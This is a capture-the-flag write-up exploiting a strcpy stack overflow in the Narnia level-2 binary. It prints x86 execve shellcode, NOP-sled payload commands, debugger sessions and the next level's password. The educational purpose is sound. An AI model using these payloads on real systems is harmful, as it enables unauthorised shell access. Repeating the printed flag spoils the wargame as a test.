Writeup
narnia2.c
content :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
The vulnerability reside on the strcpy
function, which doesn’t check the argv[1] length before copying it into the buffer.
To exploit the program we can inject the shellcode in the buffer and overwrite the EIP with the shellcode address.
1st GDB Method + PWN Tools –> Return to shellcode in the buffer
To test the vulnerability we can use the De Brujin algorithm to generate a sequence of unique substring of length n with pwn tools :
from pwn import *
print(cyclic(200))
Then we can use gdb to view where the return address point, and if it is not a valid address gdb will stop
narnia2@narnia:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Starting program: /narnia/narnia2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616169 in ?? ()
Then with pwn tools we can find how many bytes requires our exploit to 'smash'
the stack :D .
print (cyclic_find(0x62616169))
and we get :
132
So after 132 we can fill the return address. To test we can load on gdb 132 bytes and then “BBBB” to see if the EIP address is 0x42424242
:
(gdb) r $(python -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaab" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaab" + "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Now we can inject to the program :
- (132-length(shellcode)) N bytes of NOP instructions
- Shellcode
- Return address of the shellcode
shellcode :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Shellcode length : 25
.
To find where the shellcode’s address is we can use gdb to print the current stack as follow :
(gdb) r $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/50x $esp
0xffffd4b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd4f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd508: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd518: 0x90909090 0x90909090 0x31909090 0x2f6850c0
0xffffd528: 0x6868732f 0x6e69622f 0x8950e389 0xe18953e2
0xffffd538: 0x80cd0bb0 0x42424242 0x00000000 0xffffd5d4
0xffffd548: 0xffffd5e0 0x00000000 0x00000000 0x00000000
0xffffd558: 0xf7fc5000 0xf7ffdc0c 0xf7ffd000 0x00000000
0xffffd568: 0x00000002 0xf7fc5000 0x00000000 0x4f8b7427
0xffffd578: 0x75657837 0x00000000
And we can see that in 0xfffd510
there is our shellcode code. Because of the NOP we can set as return address 0xffffd4f8
narnia2@narnia:/narnia$ ../narnia2 $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xf8\xd4\xff\xff"')
Segmentation fault
Why? Because the leave
instruction in assembly does :
mov esp,ebp
pop ebp
So the stack pointer esp
will point to ebp
. When the shellcode will be executed it will push on the stack the arguments that will overwrite the shellcode instructions. To make the exploit work we need to write the shellcode earlier in the buffer and we put a padding of 16 bytes before the return address ( because the shellcode does 4 push
) .
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "\x90" * 91 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "B"*16 + "\xf8\xd4\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
vaequeezee
The exploit will work even if we change the address from xffffd4f8
to 0xffffd4b8
because the NOP
(\x90) instruction are used to “slide” the CPU until it find executable code ;) .
2nd Method Radare2 + ragg2 –> return to argv[1]
narnia2@narnia:/narnia$ r2 -d narnia2 $(ragg2 -P 200 -r)
Process with PID 27403 started...
= attach 27403 27403
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
-- EIP = 0x41414141
[0xf7fd9a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 27403 27403
27403
[0xf7fd9a20]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x74414173 code=1 ret=0
[0x74414173]> wopO `dr eip`
132
[0x74414173]> wopO `dr ebp`
128
With ragg2
we generate De Brujin series, and with wopO dr eip
we see how many bytes we need to fill the return address. To see if 132 + 4 bytes the EIP is overwritten we can do as we did on GDB .
narnia2@narnia:/narnia$ r2 -d narnia2 $(python -c 'print "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAA" + "BBBB"')
Process with PID 27751 started...
= attach 27751 27751
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
-- Command layout is: <repeat><command><bytes>@<offset>. For example: 3x20@0x33 will show 3 hexdumps of 20 bytes at 0x33
[0xf7fd9a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
= attach 27751 27751
27751
[x] Use -AA or aaaa to perform additional experimental analysis.
[0xf7fd9a20]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0
[0x42424242]> dr ebp
0x41417241
Then to find where the shellcode start
narnia2@narnia:/narnia$ r2 -d narnia2 $(python -c 'print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "BBBB"')
Process with PID 21872 started...
= attach 21872 21872
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
-- We are surrounded by the enemy. - Excellent, we can attack in any direction!
[0xf7fd9a20]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[TOFIX: afta can't run in debugger mode.ions (afta)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
= attach 21872 21872
21872
[0xf7fd9a20]> afl
0x080482cc 3 35 sym._init
0x08048300 1 6 sym.imp.printf
0x08048310 1 6 sym.imp.strcpy
0x08048320 1 6 sym.imp.exit
0x08048330 1 6 sym.imp.__libc_start_main
0x08048340 1 6 sub.__gmon_start_340
0x08048350 1 33 entry0
0x08048380 1 4 sym.__x86.get_pc_thunk.bx
0x08048390 4 43 sym.deregister_tm_clones
0x080483c0 4 53 sym.register_tm_clones
0x08048400 3 30 sym.__do_global_dtors_aux
0x08048420 4 43 -> 40 entry1.init
0x0804844b 3 83 sym.main
0x080484a0 4 93 sym.__libc_csu_init
0x08048500 1 2 sym.__libc_csu_fini
0x08048504 1 20 sym._fini
[0xf7fd9a20]> s main
[0x0804844b]> pdf
;-- main:
/ (fcn) sym.main 83
| sym.main (int argc, char **argv, char **envp);
| ; var int local_80h @ ebp-0x80
| ; arg int arg_8h @ ebp+0x8
| ; arg int arg_ch @ ebp+0xc
| ; DATA XREF from entry0 (0x8048367)
| 0x0804844b 55 push ebp
| 0x0804844c 89e5 mov ebp, esp
| 0x0804844e 83c480 add esp, 0xffffffffffffff80
| 0x08048451 837d0801 cmp dword [arg_8h], 1 ; [0x1:4]=-1 ; 1
| ,=< 0x08048455 751a jne 0x8048471
| | 0x08048457 8b450c mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| | 0x0804845a 8b00 mov eax, dword [eax]
| | 0x0804845c 50 push eax
| | 0x0804845d 6820850408 push str.Usage:__s_argument ; 0x8048520 ; "Usage: %s argument\n"
| | 0x08048462 e899feffff call sym.imp.printf ; int printf(const char *format)
| | 0x08048467 83c408 add esp, 8
| | 0x0804846a 6a01 push 1 ; 1
| | 0x0804846c e8affeffff call sym.imp.exit ; void exit(int status)
| `-> 0x08048471 8b450c mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x08048474 83c004 add eax, 4
| 0x08048477 8b00 mov eax, dword [eax]
| 0x08048479 50 push eax
| 0x0804847a 8d4580 lea eax, [local_80h]
| 0x0804847d 50 push eax
| 0x0804847e e88dfeffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
| 0x08048483 83c408 add esp, 8
| 0x08048486 8d4580 lea eax, [local_80h]
| 0x08048489 50 push eax
| 0x0804848a 6834850408 push 0x8048534
| 0x0804848f e86cfeffff call sym.imp.printf ; int printf(const char *format)
| 0x08048494 83c408 add esp, 8
| 0x08048497 b800000000 mov eax, 0
| 0x0804849c c9 leave
\ 0x0804849d c3 ret
[0x0804844b]> db 0x08048486
[0x0804844b]> dc
hit breakpoint at: 8048486
[0x0804844b]> pxw 800@esp
0xffffd4c8 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd4d8 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd4e8 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd4f8 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd508 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd518 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd528 0x90909090 0x90909090 0x31909090 0x2f6850c0 ...........1.Ph/
0xffffd538 0x6868732f 0x6e69622f 0x8950e389 0xe18953e2 /shh/bin..P..S..
0xffffd548 0x80cd0bb0 0x42424242 0x00000000 0xffffd5e4 ....BBBB........
0xffffd558 0xffffd5f0 0x00000000 0x00000000 0x00000000 ................
0xffffd568 0xf7fc5000 0xf7ffdc0c 0xf7ffd000 0x00000000 .P..............
0xffffd578 0x00000002 0xf7fc5000 0x00000000 0xbc8e76ba .....P.......v..
0xffffd588 0x86605aaa 0x00000000 0x00000000 0x00000000 .Z`.............
0xffffd598 0x00000002 0x08048350 0x00000000 0xf7fee710 ....P...........
0xffffd5a8 0xf7e2a199 0xf7ffd000 0x00000002 0x08048350 ............P...
0xffffd5b8 0x00000000 0x08048371 0x0804844b 0x00000002 ....q...K.......
0xffffd5c8 0xffffd5e4 0x080484a0 0x08048500 0xf7fe9070 ............p...
0xffffd5d8 0xffffd5dc 0xf7ffd920 0x00000002 0xffffd722 .... ......."...
0xffffd5e8 0xffffd72c 0x00000000 0xffffd7b5 0xffffd7c8 ,...............
0xffffd5f8 0xffffdd84 0xffffdd9f 0xffffddd4 0xffffdde9 ................
0xffffd608 0xffffde01 0xffffde12 0xffffde26 0xffffde33 ........&...3...
0xffffd618 0xffffde3f 0xffffde52 0xffffde67 0xffffde89 ?...R...g.......
0xffffd628 0xffffdea0 0xffffdeb7 0xffffdeca 0xffffdee1 ................
0xffffd638 0xffffdef5 0xffffdf05 0xffffdf10 0xffffdf18 ................
0xffffd648 0xffffdf31 0xffffdf41 0xffffdfad 0xffffdfcb 1...A...........
0xffffd658 0xffffdfe0 0x00000000 0x00000020 0xf7fd7c90 ........ ....|..
0xffffd668 0x00000021 0xf7fd7000 0x00000010 0x178bfbff !....p..........
0xffffd678 0x00000006 0x00001000 0x00000011 0x00000064 ............d...
0xffffd688 0x00000003 0x08048034 0x00000004 0x00000020 ....4....... ...
0xffffd698 0x00000005 0x00000008 0x00000007 0xf7fd9000 ................
0xffffd6a8 0x00000008 0x00000000 0x00000009 0x08048350 ............P...
0xffffd6b8 0x0000000b 0x000036b2 0x0000000c 0x000036b2 .....6.......6..
0xffffd6c8 0x0000000d 0x000036b2 0x0000000e 0x000036b2 .....6.......6..
0xffffd6d8 0x00000017 0x00000001 0x00000019 0xffffd70b ................
0xffffd6e8 0x0000001a 0x00000000 0x0000001f 0xffffdfee ................
0xffffd6f8 0x0000000f 0xffffd71b 0x00000000 0x00000000 ................
0xffffd708 0xe0000000 0x6bd3025e 0x48a2a192 0x36f6f390 ....^..k...H...6
0xffffd718 0x6991f660 0x00363836 0x2f2e0000 0x6e72616e `..i686..../narn
0xffffd728 0x00326169 0x90909090 0x90909090 0x90909090 ia2.............
0xffffd738 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd748 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd758 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd768 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd778 0x90909090 0x90909090 0x90909090 0x90909090 ................
0xffffd788 0x90909090 0x90909090 0x90909090 0x31909090 ...............1
0xffffd798 0x2f6850c0 0x6868732f 0x6e69622f 0x8950e389 .Ph//shh/bin..P.
0xffffd7a8 0xe18953e2 0x80cd0bb0 0x42424242 0x5f434c00 .S......BBBB.LC_
0xffffd7b8 0x3d4c4c41 0x555f6e65 0x54552e53 0x00382d46 ALL=en_US.UTF-8.
0xffffd7c8 0x435f534c 0x524f4c4f 0x73723d53 0x643a303d LS_COLORS=rs=0:d
0xffffd7d8 0x31303d69 0x3a34333b 0x303d6e6c 0x36333b31 i=01;34:ln=01;36
[0x0804844b]>
Now we can see that our shellcode in the argv[1]
is around 0xffffd778
(Counting the NOP sled). If we overwrite the return address with 0xffffd778 we will have no problem that our shellcode will ovewrite itself (as the 1st method).
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'import struct;print "\x90" * 107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + struct.pack("I" ,0xffffd778)')
$ whoami
narnia3
$
Flag:
vaequeezee